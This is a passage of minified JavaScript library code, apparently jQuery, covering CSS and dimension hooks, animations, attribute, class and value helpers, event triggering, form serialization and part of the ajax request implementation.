0;for(;a<4;a+=2)"margin"===n&&(l+=ce.css(e,n+Q[a],!0,i)),r?("content"===n&&(u-=ce.css(e,"padding"+Q[a],!0,i)),"margin"!==n&&(u-=ce.css(e,"border"+Q[a]+"Width",!0,i))):(u+=ce.css(e,"padding"+Q[a],!0,i),"padding"!==n?u+=ce.css(e,"border"+Q[a]+"Width",!0,i):s+=ce.css(e,"border"+Q[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u+l}function ot(e,t,n){var r=Xe(e),i=(!le.boxSizingReliable()||n)&&"border-box"===ce.css(e,"boxSizing",!1,r),o=i,a=Ge(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(_e.test(a)){if(!n)return a;a="auto"}return(!le.boxSizingReliable()&&i||!le.reliableTrDimensions()&&fe(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===ce.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===ce.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+it(e,t,n||(i?"border":"content"),o,r,a)+"px"}function at(e,t,n,r,i){return new at.prototype.init(e,t,n,r,i)}ce.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ge(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=F(t),u=ze.test(t),l=e.style;if(u||(t=Ze(s)),a=ce.cssHooks[t]||ce.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=Y.exec(n))&&i[1]&&(n=te(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(ce.cssNumber[s]?"":"px")),le.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=F(t);return ze.test(t)||(t=Ze(s)),(a=ce.cssHooks[t]||ce.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Ge(e,t,r)),"normal"===i&&t in nt&&(i=nt[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),ce.each(["height","width"],function(e,u){ce.cssHooks[u]={get:function(e,t,n){if(t)return!et.test(ce.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?ot(e,u,n):Ue(e,tt,function(){return ot(e,u,n)})},set:function(e,t,n){var r,i=Xe(e),o=!le.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===ce.css(e,"boxSizing",!1,i),s=n?it(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-it(e,u,"border",!1,i)-.5)),s&&(r=Y.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=ce.css(e,u)),rt(0,t,s)}}}),ce.cssHooks.marginLeft=Ye(le.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Ge(e,"marginLeft"))||e.getBoundingClientRect().left-Ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),ce.each({margin:"",padding:"",border:"Width"},function(i,o){ce.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+Q[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(ce.cssHooks[i+o].set=rt)}),ce.fn.extend({css:function(e,t){return M(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Xe(e),i=t.length;a<i;a++)o[t[a]]=ce.css(e,t[a],!1,r);return o}return void 0!==n?ce.style(e,t,n):ce.css(e,t)},e,t,1<arguments.length)}}),((ce.Tween=at).prototype={constructor:at,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||ce.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(ce.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):at.propHooks._default.set(this),this}}).init.prototype=at.prototype,(at.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=ce.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){ce.fx.step[e.prop]?ce.fx.step[e.prop](e):1!==e.elem.nodeType||!ce.cssHooks[e.prop]&&null==e.elem.style[Ze(e.prop)]?e.elem[e.prop]=e.now:ce.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=at.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},ce.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},ce.fx=at.prototype.init,ce.fx.step={};var st,ut,lt,ct,ft=/^(?:toggle|show|hide)$/,pt=/queueHooks$/;function dt(){ut&&(!1===C.hidden&&ie.requestAnimationFrame?ie.requestAnimationFrame(dt):ie.setTimeout(dt,ce.fx.interval),ce.fx.tick())}function ht(){return ie.setTimeout(function(){st=void 0}),st=Date.now()}function gt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=Q[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function vt(e,t,n){for(var r,i=(yt.tweeners[t]||[]).concat(yt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function yt(o,e,t){var n,a,r=0,i=yt.prefilters.length,s=ce.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=st||ht(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:ce.extend({},e),opts:ce.extend(!0,{specialEasing:{},easing:ce.easing._default},t),originalProperties:e,originalOptions:t,startTime:st||ht(),duration:t.duration,tweens:[],createTween:function(e,t){var n=ce.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=F(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=ce.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=yt.prefilters[r].call(l,o,c,l.opts))return v(n.stop)&&(ce._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return ce.map(c,vt,l),v(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),ce.fx.timer(ce.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}ce.Animation=ce.extend(yt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return te(n.elem,e,Y.exec(t),n),n}]},tweener:function(e,t){v(e)?(t=e,e=["*"]):e=e.match(D);for(var n,r=0,i=e.length;r<i;r++)n=e[r],yt.tweeners[n]=yt.tweeners[n]||[],yt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ee(e),v=_.get(e,"fxshow");for(r in n.queue||(null==(a=ce._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,ce.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ft.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||ce.style(e,r)}if((u=!ce.isEmptyObject(t))||!ce.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=_.get(e,"display")),"none"===(c=ce.css(e,"display"))&&(l?c=l:(re([e],!0),l=e.style.display||l,c=ce.css(e,"display"),re([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===ce.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=_.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&re([e],!0),p.done(function(){for(r in g||re([e]),_.remove(e,"fxshow"),d)ce.style(e,r,d[r])})),u=vt(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?yt.prefilters.unshift(e):yt.prefilters.push(e)}}),ce.speed=function(e,t,n){var r=e&&"object"==typeof e?ce.extend({},e):{complete:n||!n&&t||v(e)&&e,duration:e,easing:n&&t||t&&!v(t)&&t};return ce.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in ce.fx.speeds?r.duration=ce.fx.speeds[r.duration]:r.duration=ce.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){v(r.old)&&r.old.call(this),r.queue&&ce.dequeue(this,r.queue)},r},ce.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ee).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=ce.isEmptyObject(t),o=ce.speed(e,n,r),a=function(){var e=yt(this,ce.extend({},t),o);(i||_.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=ce.timers,r=_.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&pt.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||ce.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=_.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=ce.timers,o=n?n.length:0;for(t.finish=!0,ce.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),ce.each(["toggle","show","hide"],function(e,r){var i=ce.fn[r];ce.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(gt(r,!0),e,t,n)}}),ce.each({slideDown:gt("show"),slideUp:gt("hide"),slideToggle:gt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){ce.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),ce.timers=[],ce.fx.tick=function(){var e,t=0,n=ce.timers;for(st=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||ce.fx.stop(),st=void 0},ce.fx.timer=function(e){ce.timers.push(e),ce.fx.start()},ce.fx.interval=13,ce.fx.start=function(){ut||(ut=!0,dt())},ce.fx.stop=function(){ut=null},ce.fx.speeds={slow:600,fast:200,_default:400},ce.fn.delay=function(r,e){return r=ce.fx&&ce.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=ie.setTimeout(e,r);t.stop=function(){ie.clearTimeout(n)}})},lt=C.createElement("input"),ct=C.createElement("select").appendChild(C.createElement("option")),lt.type="checkbox",le.checkOn=""!==lt.value,le.optSelected=ct.selected,(lt=C.createElement("input")).value="t",lt.type="radio",le.radioValue="t"===lt.value;var mt,xt=ce.expr.attrHandle;ce.fn.extend({attr:function(e,t){return M(this,ce.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){ce.removeAttr(this,e)})}}),ce.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?ce.prop(e,t,n):(1===o&&ce.isXMLDoc(e)||(i=ce.attrHooks[t.toLowerCase()]||(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=ce.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!le.radioValue&&"radio"===t&&fe(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(D);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),mt={set:function(e,t,n){return!1===t?ce.removeAttr(e,n):e.setAttribute(n,n),n}},ce.each(ce.expr.match.bool.source.match(/\w+/g),function(e,t){var a=xt[t]||ce.find.attr;xt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=xt[o],xt[o]=r,r=null!=a(e,t,n)?o:null,xt[o]=i),r}});var bt=/^(?:input|select|textarea|button)$/i,wt=/^(?:a|area)$/i;function Tt(e){return(e.match(D)||[]).join(" ")}function Ct(e){return e.getAttribute&&e.getAttribute("class")||""}function kt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(D)||[]}ce.fn.extend({prop:function(e,t){return M(this,ce.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[ce.propFix[e]||e]})}}),ce.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&ce.isXMLDoc(e)||(t=ce.propFix[t]||t,i=ce.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=ce.find.attr(e,"tabindex");return t?parseInt(t,10):bt.test(e.nodeName)||wt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),le.optSelected||(ce.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),ce.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){ce.propFix[this.toLowerCase()]=this}),ce.fn.extend({addClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).addClass(t.call(this,e,Ct(this)))}):(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).removeClass(t.call(this,e,Ct(this)))}):arguments.length?(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return v(t)?this.each(function(e){ce(this).toggleClass(t.call(this,e,Ct(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=kt(t),this.each(function(){if(s)for(o=ce(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=Ct(this))&&_.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":_.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+Tt(Ct(n))+" ").indexOf(t))return!0;return!1}});var St=/\r/g;ce.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=v(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,ce(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=ce.map(t,function(e){return null==e?"":e+""})),(r=ce.valHooks[this.type]||ce.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=ce.valHooks[t.type]||ce.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(St,""):null==e?"":e:void 0}}),ce.extend({valHooks:{option:{get:function(e){var t=ce.find.attr(e,"value");return null!=t?t:Tt(ce.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!fe(n.parentNode,"optgroup"))){if(t=ce(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=ce.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<ce.inArray(ce.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),ce.each(["radio","checkbox"],function(){ce.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<ce.inArray(ce(e).val(),t)}},le.checkOn||(ce.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Et=ie.location,jt={guid:Date.now()},At=/\?/;ce.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new ie.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||ce.error("Invalid XML: "+(n?ce.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Dt=/^(?:focusinfocus|focusoutblur)$/,Nt=function(e){e.stopPropagation()};ce.extend(ce.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||C],d=ue.call(e,"type")?e.type:e,h=ue.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||C,3!==n.nodeType&&8!==n.nodeType&&!Dt.test(d+ce.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[ce.expando]?e:new ce.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:ce.makeArray(t,[e]),c=ce.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!y(n)){for(s=c.delegateType||d,Dt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||C)&&p.push(a.defaultView||a.parentWindow||ie)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(_.get(o,"events")||Object.create(null))[e.type]&&_.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&$(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!$(n)||u&&v(n[d])&&!y(n)&&((a=n[u])&&(n[u]=null),ce.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,Nt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,Nt),ce.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=ce.extend(new ce.Event,n,{type:e,isSimulated:!0});ce.event.trigger(r,null,t)}}),ce.fn.extend({trigger:function(e,t){return this.each(function(){ce.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return ce.event.trigger(e,t,n,!0)}});var qt=/\[\]$/,Lt=/\r?\n/g,Ht=/^(?:submit|button|image|reset|file)$/i,Ot=/^(?:input|select|textarea|keygen)/i;function Pt(n,e,r,i){var t;if(Array.isArray(e))ce.each(e,function(e,t){r||qt.test(n)?i(n,t):Pt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==x(e))i(n,e);else for(t in e)Pt(n+"["+t+"]",e[t],r,i)}ce.param=function(e,t){var n,r=[],i=function(e,t){var n=v(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!ce.isPlainObject(e))ce.each(e,function(){i(this.name,this.value)});else for(n in e)Pt(n,e[n],t,i);return r.join("&")},ce.fn.extend({serialize:function(){return ce.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=ce.prop(this,"elements");return e?ce.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!ce(this).is(":disabled")&&Ot.test(this.nodeName)&&!Ht.test(e)&&(this.checked||!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^&]*/,Wt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ft=/^(?:GET|HEAD)$/,$t=/^\/\//,Bt={},_t={},zt="*/".concat("*"),Xt=C.createElement("a");function Ut(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(D)||[];if(v(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Vt(t,i,o,a){var s={},u=t===_t;function l(e){var r;return s[e]=!0,ce.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Gt(e,t){var n,r,i=ce.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&ce.extend(!0,e,r),e}Xt.href=Et.href,ce.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Et.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Et.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":ce.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Gt(Gt(e,ce.ajaxSettings),t):Gt(ce.ajaxSettings,e)},ajaxPrefilter:Ut(Bt),ajaxTransport:Ut(_t),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=ce.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?ce(y):ce.event,x=ce.Deferred(),b=ce.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Wt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Et.href)+"").replace($t,Et.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(D)||[""],null==v.crossDomain){r=C.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Xt.protocol+"//"+Xt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=ce.param(v.data,v.traditional)),Vt(Bt,v,t,T),h)return T;for(i in(g=ce.event&&v.global)&&0==ce.active++&&ce.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ft.test(v.type),f=v.url.replace(Rt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Mt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(At.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(It,"$1"),o=(At.test(f)?"&":"?")+"_="+jt.guid+++o),v.url=f+o),v.ifModified&&(ce.lastModified[f]&&T.setRequestHeader("If-Modified-Since",ce.lastModified[f]),ce.etag[f]&&T.setRequestHeader("If-None-Match",ce.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+zt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Vt(_t,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=ie.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&ie.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<ce.inArray("script",v.dataTypes)&&ce.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to 